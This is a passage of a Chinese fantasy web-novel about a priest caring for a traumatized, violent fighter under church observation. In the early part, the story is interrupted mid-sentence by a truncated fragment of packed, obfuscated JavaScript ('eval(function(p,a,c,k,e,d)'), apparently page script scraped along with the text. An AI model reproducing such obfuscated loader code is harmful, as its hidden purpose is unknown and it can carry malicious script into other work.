未被送回了临时安排给他的、位于教会后勤区域一间僻静小屋。房间陈设简单,但干净,有独立的盥洗室,比他在黑市附近能找到的任何落脚点都要好。桌上放着干净的衣服和一些基本的生活用品。窗外能看到高墙的一角,和远处教堂的尖顶。 他关上门,背靠着冰凉的门板,缓缓滑坐在地上。没有劫后余生的喜悦,没有获得“赦免”和“前途”的轻松,只有一片巨大的、沉重的虚无感,和那深入骨髓的疲惫。 杀光了。活下来了。签了卖身契。成了教会所谓的“底牌”。 然后呢? 他不知道。他懒得去想那些高层的勾心斗角,两国间的暗流涌动,自己身上谜团可能带来的研究和利用。他的脑子拒绝处理这些复杂的信息,它们像嘈杂的噪音,让他更加烦躁和倦怠。 …… 契约签下后,未像一滴水渗入沙地,从教会那些体面的、视线交织的房间里消失了。但接到了那份含蓄的指令:“他需要‘适应’。你可以尝试接触,这对他的‘稳定’,有好处。” 指令的末尾停顿带着重量,但听懂了。 这份认知让但胸口发闷。他并非不感激未那血腥的拯救,但正因如此,那紧随其后的谜团与未自身那非人的状态,才更让他坐立难安。未是谁?那场屠杀是如何发生的?他为什么能做到?又为什么变成了现在这个样子?这些问题像藤蔓缠绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但深吸一口气:“我找了你几天。他们说你在这里‘适应’,但这里不适合休息。” 未的睫毛动了一下,依旧沉默。 这种沉默的审视让但感到烦躁。他向前走了一步。“我们需要谈谈。关于那天的事,关于你。”他语气带上了急切,“你不能就这样躲起来,什么也不说。” 这一步触动了未。他搭在膝盖上的手指收紧了,整个人的姿态细微调整,从倚靠变成了更易于发力的、微微前倾的预备状态。抗拒的气息弥漫开来。 但又向前走了一步。距离缩短到几步之内。“回答我,未。你为什么那么做?你到底……” 话没能说完。在他踏出第二步的瞬间,未从坐姿到起身、侧移,一气呵成,滑向楼梯另一侧的阴影里,重新拉开了距离。目光始终没有离开但,眼神里的平静被打破,露出底下冰冷的锐光。 “别过来。”未的声音响起,沙哑,干涩,带着不容置疑的硬度。 但被他这反应刺了一下,脚步顿住。然而心中烧灼多日的疑问和焦虑,混合着被拒绝的难堪,猛地窜了上来。 “我只是想和你谈谈!”但的声音提高了,“你救了我不假,可你也几乎团灭了骑士团!用那种方式!然后你就像什么事都没发生一样,躲在这里?你把我当什么?把这一切当什么?”他越说越急,又向前逼近,“看着我,未!告诉我!” 未在他逼近下身体绷紧,像一张拉满的弓。背靠着冰冷石墙,退无可退,眼神中的冷光尖锐,渗出一丝被逼到绝境的凶戾。 但看到了那抹凶光,心头一凛,但箭在弦上。他太想知道了。某种属于圣痕血脉的力量,在他急切情绪催动下涌动起来。 但的手指在袖中勾画。几道带着刺状微光的东西猛地缠上未的手腕脚踝,收紧,勒进皮肉。 未的身体先于意识做出了反应,他维持着那个被捆住的姿势,只有胸膛开始剧烈起伏,呼吸声在寂静的塔楼里粗重得吓人。 然后他抬头看向但。那眼神里暴烈的凶光还没完全聚拢,就撞上了但的脸——但的脸色是苍白的,嘴唇抿得很紧,维持施术的手指在细微地抖,不是因为魔力消耗,而是别的。那双总是温和或带着忧惧的眼睛里,此刻烧着一种未看不懂的、近乎偏执的急切。 未喉咙里那声即将冲出的低吼被卡住了。他绷紧的肌肉还在叫嚣着要撕裂这些光蔓,可身体深处却有另一种更顽固的东西在往下坠。他看着但那张脸,脑子里翻腾的画面全是这个人倒在血泊里的样子,一次又一次,不同的死法,相同的结局。他杀了四十个人才让这张脸现在还能带着这种愚蠢的急切盯着他。 魔法荆棘很细。但应该没用力,挣扎或者大声喊的话也很容易。 但是未没法这样做。似乎面对但就没办法。但是第一个对他这么好的人,是他在加仑看透人性之恶的时候,用行动,用话语鼓励了他的人,是地狱里唯一一个没有沾血的银白色手铐。 这念头让他胃里一阵抽搐般的烦躁。 就在这僵持的、呼吸可闻的几秒钟里,档案塔楼的侧门被推开了。黄昏最后的天光照进来,勾勒出两个穿着灰袍的人影。 年长的那个提着风灯,光晕扫进来,恰好照亮这一幕:新晋的祭司站在楼梯边,指尖还残留着未散的微光;而那个传闻中极度危险的、屠灭了整支骑士团的人,被几道明显是初级束缚术式的东西捆着手脚,却没有任何进一步的动作。 年长的神官脚步顿了一下,他提着灯走进来,语气平和如常:“祭司大人?”他的目光落在但身上,又转向未,“还有这位……这是?” 但像被烫到一样猛地撤回了手。光蔓瞬间消散。未的手腕脚踝上留下几道清晰的勒痕,在昏暗光线下泛着红。 “没什么,”但的声音有些发干,他侧身,不自觉地将未挡在身后更暗的阴影里,“一点……误会。我找到他,想谈谈。” 年轻些的神官好奇地探头,看到未脸上那不正常的红和紧抿的嘴唇,眼神里闪过一丝困惑。 年长的神官点了点头,仿佛接受了这个解释。他上前两步,更靠近但,声音压低了些,却足够清晰:“这位的情况,上面吩咐过,需要特别留意。”他看了一眼未,未正低着头,盯着自己手腕上渐渐消退的红痕,一言不发。“他情绪如此不稳,独自留在这等偏僻处,万一再出什么事,恐怕不好交代。” 他停顿了一下,似乎在斟酌词句,目光在但和未之间来回一次,才继续道:“既然祭司大人您……似乎能与他沟通,甚至能让他平静下来,”他的视线意有所指地扫过未此刻异常“顺从”的姿态,“内庭那边恰好有两间相邻的空屋,环境安静,也方便照应。不如让这位移步过去,由您就近看顾些时日?这对他的恢复、对教区的安宁,或许都是更好的安排。” 但听懂了,这根本不是商量。 他回头看向未。未依然低着头,对这番决定他接下来去处的对话毫无反应,仿佛他们谈论的是别人的事。 那是一种更深层次的疲惫和放弃。 “……好。”但听见自己说。 搬进那两间相邻小屋的过程同样沉默。未的东西少得可怜,一个不大的包袱。他走进左边那扇门,关上门,之后一连几天,再没有任何声息。 但的生活却无法恢复平静。那扇薄薄的门板成了他注意力的焦点。他会在夜里停下翻书的手,仔细分辨隔壁是否有一丝动静。他会不自觉地在领取每日配给时多拿一点耐存的食物,放在那里,却找不到理由送过去。他经过那扇门时脚步会放慢。 直到几天后的这场雨。 深秋的雨又急又冷,和冰雹还有初雪一起砸下来。但从文书处回来,肩头被打湿了一片。他点起壁炉里一点微弱的火,坐在床边,听着密集的雨声敲打窗棂。当他坐下来试图看书时,隐约听见隔壁传来压抑急促咳嗽声。 咳嗽声断断续续,持续好一会儿。 但拿着书的手停住。他听着咳嗽声,眉头皱起。未身体不是完全康复?还是留下隐患?他想起未之前坐在阴冷档案塔楼样子。 犹豫片刻,但放下书站起。他走到自己房间与隔壁相邻墙边,侧耳倾听。咳嗽声停了,只剩雨声沉寂。 但转身走到自己门边,拉开门。冷湿空气涌进。他走到隔壁门前。门紧闭。他抬手轻轻敲门板。 里面没有回应。 但等几秒,又敲了敲,稍用力。 “……谁?”未声音隔着门板传来,比平时更沙哑,带着咳嗽余韵,浓浓戒备。 “是我。”但说,“你没事吧?我听到咳嗽。” 里面沉默。过好一会儿,才传来未干巴巴声音:“没事。” 但站在门口,雨丝偶尔吹到脸上,冰凉。他知道应转身回屋。可脚像钉在地上。他看着老旧门板。 一个念头撞进脑海脱口而出:“开门,未。” 语气不是请求命令,是平直不容回避陈述。 门内又没声音。 但补充一句,声音不高清晰:“雨很大,我带了点东西。” 这句话没头没尾。但自己也不知道。他只是等。 时间一秒秒过,只有雨声淅沥。就在但以为尝试将失败时,听到门内传来轻微“咔哒”——老旧门闩拉开。 门向内开了一条缝。 缝隙不宽,刚好够但看到里面未模糊侧影。他站在门后,没有完全让开,依旧保持随时关门姿态。屋内没点灯,更昏暗,只有窗外灰蒙蒙雨光勾勒瘦削轮廓。脸上没表情,看着但,眼神昏暗中看不真切。 但心跳快一拍。他没有推门进去,只是将手里包着留给自己的食物的布包从门缝递过去。布包不大,里面两块蜂蜜硬糕和一小块油纸裹乳酪。 “给你的。”但说,声音雨声里模糊。 未低头看布包,没有接。目光在布包和但脸上来回扫,沉默。 僵持几秒。但手臂举着,雨水顺未完全干燥袖口边缘凝聚滴落。 终于未伸出手。动作很快,带着近乎抢夺迅捷,一把抓过布包,指尖擦过但手掌皮肤。触感冰凉潮湿。 未拿到布包后立刻后退半步,似乎想立刻关门。 “等等。”但再次开口,语气带上未曾预料坚持。他向前抵住门板阻止合拢。“未,我们得谈谈。不能一直这样。” 未停住关门动作,抬眼看他。距离如此近,但看清眼中情绪——不是愤怒警惕,是深重几乎满溢疲惫,一丝茫然。 “谈什么?”未声音依旧沙哑,语气平淡,不再像之前充满坚硬抗拒。 谈什么?但一时语塞。他顿了顿换切入点:“你身体完全好了?刚才为什么咳嗽?” 未移开目光看布包。“好了。天气。” “你住这里缺什么?食物?衣服?被褥够厚?”但追问,目光扫过门缝内昏暗房间。 未沉默一下:“不缺。” “你每天屋里做什么?” “……待着。” 一问一答,简短,但剑拔弩张气氛因门板开启布包传递悄然改变。未不再完全封闭。 但深吸潮湿寒冷空气,终于问出心底最深处问题:“未,你为什么要救我?” 未没有立刻回答。 他猛地转头避开但视线,盯屋内更暗角落,喉结滚动。过很久,才用极低声音含混吐出一句:“不知道。” “不知道?”但追问,“用生命做代价?一个不会魔法的单挑一个骑士分队?” 未身体绷更紧,手指无意识捏紧布包。他没有回答,只是重复声音更低几乎被雨声吞没:“我不知道。” 但看着他紧抿嘴唇侧脸上固执红晕,忽然意识到这或许是未目前能给出的关于过去秘密最接近真相回答。他不是不想说,可能是无法说。 这认知像冰水落在但焦灼心头,带来锐利刺痛,让他涌到唇边更多追问哽住。 两人再次沉默,雨声填满空隙。但依旧抵门,未侧头,手里布包捏变形。 最终但先松开抵门手。后退半步拉开距离。 “……把东西吃了。”他说声音哑,“如果还有需要,或者不舒服,可以敲墙。” 他说完没等未反应,转身走回自己同样昏暗潮湿但至少壁炉有微弱火光房间,轻轻带上门。 背靠冰凉门板,但听着外面淅沥雨声和隔壁门轻轻合拢门闩落下细微声响,闭眼。 未站在门后,听着但离开脚步声关门声,许久未动。他低头看手里被捏变形布包,指尖还能感受刚才擦过但手掌时残留的与冰冷潮湿截然不同的微温。 他走到床边坐下昏暗光线慢慢拆开布包。蜂蜜硬糕香气乳酪咸腥味弥漫。他拿起一块硬糕顿了顿又放下。最终只是将布包重新包好放床头。 然后他躺下,面对那堵与但房间相邻墙壁。雨点敲打屋顶窗户声音密集。他听着雨声,也听墙壁另一边极其隐约几乎被雨声覆盖细微动静。 那句“可以敲墙”在脑海低回。 他抬起手,指关节在离墙壁还有一寸的地方悬停,最终慢慢放下,蜷缩起来,塞到自己屈起的膝盖和胸口之间。 25. 【十二】 那场冷雨后的清晨,灰白的天光透过窄窗,将房间切割成明暗不均的几何图形。空气中弥漫着潮湿的泥土气息,混合着羊皮纸和陈旧木头的味道。但坐在桌前,面前摊开的不是日常处理的卷宗,而是一份用教会专用墨水书写的文书。羊皮纸的边缘已经微微卷起,显示出它曾被多人传阅。标题是:《关于特殊个体战后心理状态适应性评估的临时授权与初步指引》。落款处是熟悉的、属于蓝戈主教的印章,那枚印章盖得格外用力,仿佛要将教会的意志深深烙进纸张纤维。 文书的核心意思很明确:鉴于未展现出的极高潜在风险性与不可预测性,以及他在但面前表现出的相对稳定倾向,教会决定正式启动一项观察与评估程序。但作为唯一与未建立有效接触的祭司,被授权在日常引导与照料的掩护下,对未的心理状态、认知模式、潜在威胁等级进行系统性记录与评估。文书后面附了几页空白的标准记录表格和一些语焉不详的建议观察方向,例如对秩序与规则的接纳度、情感反应阈值、暴力冲动的触发条件与控制力。 但的手指按在冰冷的羊皮纸上,指尖因用力而微微发白。他知道这一天会来。教会不会放过一个如此异常又危险的存在,他们需要数据,需要定义,需要将他归类、归档、最终决定是收编利用还是谨慎清除。而自己,成了他们伸向未的最直接的那只手。这份授权,像一副精巧的镣铐,既锁住了未,也锁住了他自己——他被正式绑在了教会对未的处置天平上,他的观察记录,可能直接决定未未来的命运。窗外的光线在他低垂的眼睫上投下阴影,那双总是平静的蓝色眼眸里翻涌着少有的挣扎。 一股混合着抗拒与无力感的烦躁涌上心头。他厌恶这种被当作工具的感觉,更厌恶自己要亲手将未置于这种冰冷的审视之下。可他能拒绝吗?拒绝意味着失去引导者的身份,意味着未可能被更粗暴、更不怀好意的方式对待。他想起未第一次来到教会时的样子——浑身是伤,眼神却像被困的野兽,既凶狠又脆弱。那时的未,连一个简单的触碰都会引发剧烈的反应。是但用了一年时间,才让未学会在他面前稍微放松警惕。这一切来之不易的信任,难道就要被这份冰冷的文书摧毁?他别无选择。 但深吸一口气,将那本文书仔细折好,塞进书架最底层一个带锁的抽屉里。他不能原封不动地使用那些表格,那太明显,太具侵略性。未不是实验品,至少在他这里不是。他需要一种更隐蔽、更自然的方式。阳光缓缓移动,照亮了他桌上散落的物品:一支羽毛笔、几本古籍,还有几张来自黑市商人的杂货报价单(这是从未宿舍搜来的,教会内部很少见这种东西)。但的目光在那几张报价单上停留许久,一个念头慢慢成型。 几天后,午后阳光斜照进房间,灰尘在光柱中缓慢浮动。但将几张抄写工整的"问卷"放在了未面前的小桌上。那时未正盘腿坐在房间角落的阴影里,用一把小刀小心翼翼地削着一根不知从哪里捡来的硬木棍,动作专注得像在打磨一件致命的兵器。刀刃与木棍摩擦发出规律的沙沙声,在安静的房间里显得格外清晰。听到动静,他抬眼,警惕地扫了一眼但手里的纸,又低下头继续手上的活计,只是动作明显慢了下来。 "未,来。"但开口,声音尽量平淡,像往常一样,"帮我看点东西。" 未停下动作,匕首在指尖转了个圈,被收进袖中。他抬起头,灰色的眼睛在阴影中显得格外深邃,像两口深不见底的古井。 "从后勤那边弄来的,"但走过去,保持着一个安全的距离,将纸放在未脚边,"说是黑市最近流通的几种新玩意儿的调查,评估一下性能和可能的用途。我不太懂这些,你好像更在行。"他指了指纸上那些刻意模仿黑市俚语和简笔画的条目,语气轻松得像在讨论今天的天气。 未的目光终于落到了纸上。他看了几秒,伸出沾着木屑的手指,捏起一角,凑到眼前。他的眉头皱了一下,似乎对上面过于"正式"的抄写笔迹和相对清晰的条目划分有些疑虑,但"黑市"、"武器性能"这些关键词,显然触动了他某根敏感的神经。但注意到他的指尖在纸面上轻轻摩挲,像是在读取什么隐藏的信息。 第一题是但精心设计的陷阱:「您常购买哪种酸液?(可多选)」下面列出了几个选项,描述都尽量贴近黑市行话,但细节上做了手脚。 未盯着选项看了很久,久到但以为他识破了什么。房间里的空气仿佛凝固了,只有窗外偶尔传来的鸟鸣打破寂静。然后,他拿起但放在旁边的炭笔,在"C. 咸味特制款"旁边画了一个歪扭的圈。又在旁边的空白处,用小但极其工整的古魔文字迹写道:"咸味的味道和圣水类似,是骑士团后勤组的专用兑水配方,比例1:9可短暂骗过标准制式教会人员。" 但强行压下瞬间涌起的惊涛骇浪,维持着表面的平静。 他稳住呼吸,示意未继续。阳光移动了几分,照在未低垂的侧脸上,勾勒出他紧绷的下颌线条。 第二题关于武器耐久度评估,选项看起来也很正常。未的目光在"C. 其他(请额外批注)"上停留片刻,然后炭笔动了起来: 「用类死亡体验校准。死一次能测试匕首捅穿三个颈椎的极限,第四次同一把匕首必崩刃,前提是从同一个商家那进货且品质尚可。如果对面不是精英敌人,可以撑到第九次假死脱身。」 "哐当。" 但手边的银质墨水壶被他不小心碰倒,深蓝色的墨汁泼洒出来,迅速在粗糙的木桌面上晕开,像一小片不祥的淤青。他死死盯着那行字,每一个字都像烧红的针,扎进他的眼睛。他几乎想立刻夺过那些纸撕碎。可他不能。他强迫自己移开视线,整理了一下呼吸,指向第三题,一个关于压缩块口味偏好的、看起来最无害的问题。 未划掉了所有给定的、相对正常的选项。他在下面空白处写道:"无偏好。但是发霉的任何事物都可能引发胃痛和大脑颞叶受损等疾病。如果出现眼前发黑,无法识别文字等特殊异常需要尽快自尽或就医。" 写到这里,他停顿了一下,笔尖在纸上留下一个深色的墨点,然后划掉了自尽。 但的左手袖口内,紧贴皮肤的那一小块圣痕,毫无预兆地传来一阵灼痛。 最后一题,关于武器保养周期。 「用完就扔,不知道。」 未写完这几个字,将炭笔随手一丢,笔滚落到地上,发出清脆的响声。他重新拿起那截木棍,继续之前被打断的打磨,仿佛刚才写下那些字句的人不是他。但注意到他的手指比之前更加用力,指节泛白,像是在发泄什么。 评估无法再继续下去了。但感到一种深彻骨髓的寒冷。他匆匆收起那几张被未写满可怕"答案"的纸,指尖冰凉。未倒是显得无所谓。 但逃也似的回到自己房间,关上门,背靠着门板滑坐在地上。那几张纸摊在他膝头,在昏暗的光线下,那些字句仿佛在蠕动、在低语。他颤抖着手,试图用一点微弱的治愈银光去碰触纸张,并非要治疗什么,只是一种本能的、想要净化眼前这可怕证据的冲动。然而,银光触及纸面的刹那,异变发生了——洁白的治愈光晕迅速被污染、黯淡,转而泛出一种陈旧的、类似茉币氧化后的锈红色,纸张边缘甚至出现了细微的焦卷。这些文字承载的负面能量如此之强,连治愈术都无法净化。 但猛地将几张纸拢在一起,冲到壁炉边,将它们扔进将熄的余烬。火焰腾起,迅速吞噬了那些字句。纸张化为灰烬,纷纷扬扬。但喘着气,看着那些灰烬,仿佛完成了一场祛魔仪式。火光在他脸上跳跃,映出他眼中的复杂情绪:有恐惧,有担忧,但更多的是一种坚定的温柔。他不能就这样放弃未,无论教会的要求多么冰冷,无论未的内心多么黑暗。他必须找到另一种方式。 从那天起,但以未是个文盲且最近情绪不稳定为由放弃了任何形式的"标准化评估"。文书的要求他无法完全无视,但他换了一种方式。他不再试图用问题和表格去测量未,而是开始更仔细地观察未在日常中那些自发的、细微的举动。他将这视为另一种形式的恢复期记录,既是对教会任务的敷衍,也是他自己试图理解未、帮助未的唯一途径。每个清晨,当但推开未的房门,他都会先停留片刻,观察未一夜过后的状态;每个夜晚,他会在日志上记录下当天的观察,不是用冰冷的表格,而是用充满关怀的文字。 他很快发现,未在用一种极其笨拙、甚至有些诡异的方式,尝试适应这个不需要时刻厮杀、却同样让人无所适从的和平日常。这些行为看似毫无逻辑,但但渐渐能从中解读出未内心的挣扎与尝试。 比如那盆放在但窗台上的苦艾草。但注意到,未的目光总会不经意地掠过它。起初但以为是未需要草药,便摘了几片给他。未接过去,没用来敷伤,而是无意识地将叶片在指尖揉搓,直至碎裂。有时,他会将几片看起来完整的叶子压平,夹进但给他学识字用的旧本子里。这更像是一种强迫行为——当未感到焦虑或无所适从时,他会通过这种重复性的动作来安抚自己。后来但发现,未会数叶片上的虫洞,按大小顺序排列,甚至记录虫洞数量随着天气变化的增减。 但装作没看见。 又比如那些毛线。但本意是让未练习打结,或者做些简单的编织,希望能通过重复性的手工让他紧绷的神经稍微放松。材料是处理圣袍剩下的边角料,颜色杂乱。几天后,但走进未的房间,被眼前的景象惊得说不出话。 整个房间几乎被编织物占领。不是围巾或手套,而是极其复杂、令人费解的结构:用暗红色毛线编织的、立体呈现的不知道是什么的示意图,不同颜色的线标出了错综复杂的通道,一些节点上打着奇怪的结;几十个用黑色和灰色毛线缠成的小人偶,密密麻麻挂在一根横拉的绳子上,每个后颈部位都插着一根不知道从哪里找来的、磨得尖细的绣花针;还有一些用掺了银线的织物碎片拼贴而成的"画",但凑近一看,拼出的竟是自己某次午后靠着椅子打瞌睡的侧影,连睫毛都用细密的十字绣手法加长了些,看起来有些滑稽,却又莫名传神。这不再是简单的手工,而是未内心世界的投射:那些通道可能是他记忆中的战场路线,那些小人偶可能是他无法忘怀的战友或敌人,而那幅画像,则暴露了他对但的细致观察。 "这是......"但艰难地开口,努力让声音听起来只是好奇,而非惊骇。 未不知何时已回到门口,手里还拿着几团新缠的线。他迅速将拿着线的手背到身后(但注意到他指尖夹着的东西闪烁着金属寒光——那分明是几根被磨尖、改造过的织针),脸上没什么表情,干巴巴地回答:"呃…这个是艺术创作。"但这个回答太过流利,反而像是早有准备。未在隐瞒什么,或者说,他在用这种方式表达一些无法用语言诉说的事情。 但点了点头,没再追问。他离开时,轻轻带上门,留给未足够的空间。他明白,未需要这种看似怪异的"创作"来梳理内心的混乱。 未的适应还体现在对生活细节近乎偏执的重新规划上。但发现自己的日常采购清单被篡改了:苦艾草被换成了有类似镇静效果但更温和的甘菊;耐储存但口感极差的压缩块被换成了同样耐储存、但更昂贵的蜂蜜(未在清单角落用小字注明了理由:"好吃。");甚至标注领取的圣水,也被未偷偷划掉,改成了"柠檬汁或食用醋",备注是:"居然还没发现长期饮用低浓度圣水会让人头晕恶心吗?你们居然还拿来当日常饮品"。 但看着被改得面目全非的清单,心情复杂。他没有戳穿,而是按照未修改后的版本去申请了物资。当后勤修士投来疑惑的目光时,但只是平静地解释:"这是针对特殊个体的适应性调整。" 几天后的晚餐时分,但特意准备了一盘淋着琥珀色蜂蜜的烤鸡(?)和一杯散发着清新香气的甘菊茶。未坐在桌前,盯着那只烤鸡,眼神锐利得像在审视一个战术模型。但看见他的手指无意识地扣着桌沿,那是他心里有事时的小动作。 当但将切好的肉递过去时,未接刀叉的手势,完全是握持短刃的手势,指关节因用力而发白。这个细节让但心中一紧。即使在最平常的就餐时刻,未的肌肉记忆依然停留在战场上。 "用勺子吧,"但语气平静地将自己的银勺推了过去,又指指那碗浓稠的汤,"今天先集中精力对付这个。"他的声音温和而不容置疑,像在引导一个紧张的新兵。 未的动作僵了一下,低头看了看自己手里的刀叉,又看了看但推过来的勺子,脸上飞快地掠过一丝窘迫,耳根微微发红。他沉默片刻,然后以一种近乎仪式感的缓慢动作放下刀叉,拿起了勺子。这个简单的餐具转换,对未而言却像是一场小小的胜利。 最让但感到心头被触动的,是一些更隐秘的发现。某个深夜,他因为口渴起身去厨房,路过连接两间小屋的狭窄后院时,借着清冷的月光,看到了令人愕然的一幕:未正在晾衣服。 不是随便晾晒。所有衣物,包括他自己的几件灰扑扑的旧衣服,以及但之前借给他、后来他似乎忘记归还的一件亚麻衬衫,都被严格地按照颜色深浅排列在晾衣绳上,从最深的、接近骑士团盔甲的暗灰色,依次过渡到那件衬衫的灰白。这种近乎偏执的整齐,透露出未内心对秩序的渴望,仿佛通过控制这些微小细节,就能在混乱的内心世界中建立一丝稳定。 旁边另一个用树枝临时搭成的架子上,晾着袜子,但眼尖地发现,每只袜子的脚踝或脚背部位,都被细密地缝上了一个几乎看不见的小口袋。最让他差点失笑出声的是,未的几件自制内衣也挂在上面。 听到但的脚步声,未猛地转过身,手里还拿着一件湿衣服,下意识地摆出了一个防御性的姿态,湿衣服在他手中被拧紧,发出细微的水声,仿佛成了一件软兵器。 两人在清冷的月光下对视了几秒。 “……。”未先移开目光,脸颊在月光下明显泛着红。他迅速将手里那件衣服也挂上绳子,动作带着点仓促。 但没说什么,只是点了点头,转身去厨房倒了水。回来时,未已经不在院子里了,但那些晾晒的衣物依然保持着那种近乎军事化的整齐。这个细节让但意识到,未正在用他自己的方式,笨拙地适应着和平生活。 冷雨停歇后的第七个清晨,但像往常一样整理床铺。当他的手探入亚麻枕套与羽绒枕芯之间时,指尖触到了一件绝不应出现在那里的异物。 冰冷,坚硬,边缘被打磨得异常光滑。 他的动作凝固了。晨光透过窗棂,尘埃在光束中缓慢浮沉。一种介于警觉和某种更晦涩情绪之间的感觉,顺着脊椎爬升。他缓缓将那个东西抽了出来。 躺在掌心的,是一个大约两指节长、一指节宽的扁平方盒。材质是某种不知来源的薄金属片,可能是废弃罐头皮或灯具零件,但处理得惊人地精细。每一道折痕都锐利笔直,扣合处严丝合缝,边缘被打磨得圆润,绝无划伤皮肤的可能。表面甚至用更细的金属丝镶嵌出极其简单、却对称到刻板的几何凹纹——那不是装饰,更像是一种加固结构,或者某种仅属于制造者本人的、无法解读的标识。 这工艺本身就让但心底一沉。这不是随手弄的玩意儿。这需要专注、耐心,和对金属材料特性的某种直觉掌控。是未的手笔。 他用拇指抵开那精巧的、同样由金属丝弯成的搭扣。“嗒”一声轻响,在过分安静的房间里清晰得刺耳。 盒内衬着柔软的、颜色浅碧的干苔藓,被细致地压平,散发出极其淡薄的、类似雨后林地的气息。而就在这片人为的、小心翼翼的“巢穴”中央,平行排列着一缕头发。 他自己的头发。标志性的、微微卷曲的蓝色发丝。长度不一,显然是在不同时间、不同地点拾获的。它们被精心扎成一束,在浅色苔藓的衬托下,蓝得近乎妖异,像某种被收藏的稀有矿物,或……某种巫术仪式所需的媒介。 但的呼吸屏住了。 这是越界。是侵入。是绝不容于任何世俗礼法,更遑论神圣教会规章的、令人毛骨悚然的亲密。 一股强烈的、混合着恶心与惊骇的寒意瞬间攫住了他。他是加仑王室旁支出身,自幼在严苛的礼仪与戒律中浸染;他是侍奉神祇的祭司,深知头发、指甲、血液这些身体发肤在神秘学中的意义——它们可以是最亲密的信物,也可以是最恶毒的诅咒媒介。无论是哪一种可能,这种行为本身所携带的意味,都肮脏、暧昧、且极度危险。 他的第一个本能反应是毁灭。立刻、马上,将这个盒子连同里面令人不安的内容扔进壁炉,就像烧掉那些问卷一样。他甚至能想象火焰如何舔舐金属,苔藓如何卷曲发黑,那些蓝色的发丝如何在高温中卷曲、化为灰烬。这是最正确、最符合他身份与理智的做法。 他的手指收紧了,金属边缘硌着掌心。 可是…… 他的目光无法从那些头发上移开。它们被保存得如此精心。苔藓是为了防潮?为了缓冲?那个严丝合缝的盒子,是为了防止它们被压坏或遗失?未是在什么情况下,如何注意到并拾起这些连他自己都未曾留意的脱落发丝的?是趁他伏案小憩时?是在他清晨梳理后清理梳子时?还是在某个他未曾察觉的、目光凝驻的瞬间? 这个行为本身是扭曲的,是“不正常”的。但驱动这个行为的核心……是什么? 未的世界里没有“温情脉脉的纪念品”这个概念。他的思维是功能性的,是关乎生存与效用的。收集战利品以证明杀戮?不,这些头发毫无战斗价值。收集重要目标的生物材料以施加诅咒或追踪?这个念头让但的血液更冷,但他随即否定了——如果未想害他,有无数更直接高效的方法,无需如此迂回精细。 未到底是怎样看待自己的? 作为祭司,他应该立即上报这个“潜在的危险巫术行为迹象”。 作为引导者,他应该借此“评估”未的“异常依恋与潜在控制欲”。 作为但……他感到的是一种沉重的、近乎窒息的责任,以及一丝不该有的、被如此畸形地“重视”着所带来的悸动。 最终,他重新合上盒盖,那声“嗒”的轻响再次响起。他没有把它放回枕下——那太像一种默许和鼓励。 做完这一切,但缓缓吐出一口气。指尖仿佛还残留着金属的冷硬触感。他知道,有些界限一旦被模糊,就再难回到清晰的从前。 但刻意忽视了盒子,把重点放在了引导未精神回归正常的本职工作上。 那天下午,但端着温好的甘菊茶推开未的房门时,看到未背对着门,跪在床铺中央,身体是近乎静止的紧绷。他的肩膀线条硬得像岩石,脖颈微微前倾,所有的注意力都灌注在床单上那片区域。 细小的黄色甘菊花瓣被排列成一个标准的、带纵深梯次的防御阵列。前排花瓣稀疏,呈散兵线;中排密集,形成支撑;后排有精锐般的几簇,拱卫着中央——那里放着一块剥开糖纸的蜂蜜硬糖,像是需要保卫的核心。每一簇“单位”前方,都垂直插着一根掰断的牙签,断面被削得极其锋利,在昏光下闪着冷硬的微光。牙签的倾斜角度、彼此间的距离,都遵循着某种但看不懂、但能感受到其严谨性的战场几何。未的左手指尖悬在最前线的一根尖桩上,无意识地、极轻微地颤抖着。 整个房间的空气都因这微型战场而凝滞、锐利。 但站在门口,手里温热的茶杯忽然变得烫手。即使在这种被认定为“安全”的仪式后,他的大脑依然在自主运行着防御程序。 “……未。”但的声音比预想中更干涩。他不能表现出惊骇,那会变成新的刺激。 未没有回头,他的右手以肉眼难辨的速度抹过床单,却不是破坏阵型,而是以惊人的效率,将外围几个“单位”的花瓣和牙签扫向内侧,阵型瞬间收缩,变成了一个更紧凑的、带刺的环形防御圈,将那颗糖紧紧围在中心。 然后,他才略微侧过头。他的眼睛在阴影里,看不清情绪。 但的掌心贴着温热的瓷壁,感觉那股暖意怎么也渗不进冰冷的血液里。 他将茶杯轻轻放在门边的小几上,没有像往常一样递过去。 “阵型很严谨。”但最终说道,声音里听不出波澜,“但这里不需要防御工事,未。” 他指了指那颗被“重兵”包围的糖。 “糖就是用来吃的。化了就可惜了。” 那台从教会仓库找出来的、废弃的古老星象仪,成了一个新的转折点。但将它安置在房间角落时,未正蜷在沙发扶手上,牙齿无意识地啃啮着拇指指甲侧缘,发出细碎持续的“喀喀”声。 但擦去额角的汗,没有解释。他指尖亮起一点微弱的银光,小心地点在星盘几个特定的、积满灰尘的凹槽。微光艰难地渗入,勾勒出模糊的连线。“未,来看,”他的声音在午后寂静的房间里很平稳,“这是猎户座。腰间有三颗星星,在冬夜天空很显眼。一些古星图里,它们被画成一条笔直的银带。” 猎户座没有触动未。他的眼神涣散,仿佛思绪被困在某个遥远、血腥、与此刻全然无关的纬度。但的指尖继续移动,银光依次点亮那三个凹槽,将它们连接起来——一条笔直、等距、闪着冷冽微光的三星阵列。 未啃咬指甲的动作停了。 他的视线,像被无形的钩子猛地拽住,死死钉在那三点银光连成的直线上。他整个人僵在扶手上,连呼吸的起伏都消失了。 但没有察觉这死寂下的剧变,继续用平缓的语调说着:“在古魔文的一些战歌里,它们被比作……” 他的话戛然而止。 未从静止到爆发的速度超出了人类反应的极限,沙发扶手在他蹬踏的力道下发出不堪重负的呻吟。他落地时没有丝毫声响,像一道贴着地面席卷而去的黑影,惯用手闪电般抹向腰间——空的。这个事实没有让他停滞,反而像是往沸腾的油里泼进了冰水,某种更可怕的东西被激活了。他的喉咙里挤出一种并非人声的、低哑的嘶气声,双眼死死盯着星象仪上那三点银光,瞳孔缩成了针尖,里面翻涌着但完全无法理解的、纯粹而狂暴的杀戮指令。那三点光,在他此刻的视界里,就是穆希纳什高阶骑士胸甲上,那条代表死亡仲裁权的、笔直的秘银徽记腰带。是信号,是坐标,是死亡本身。 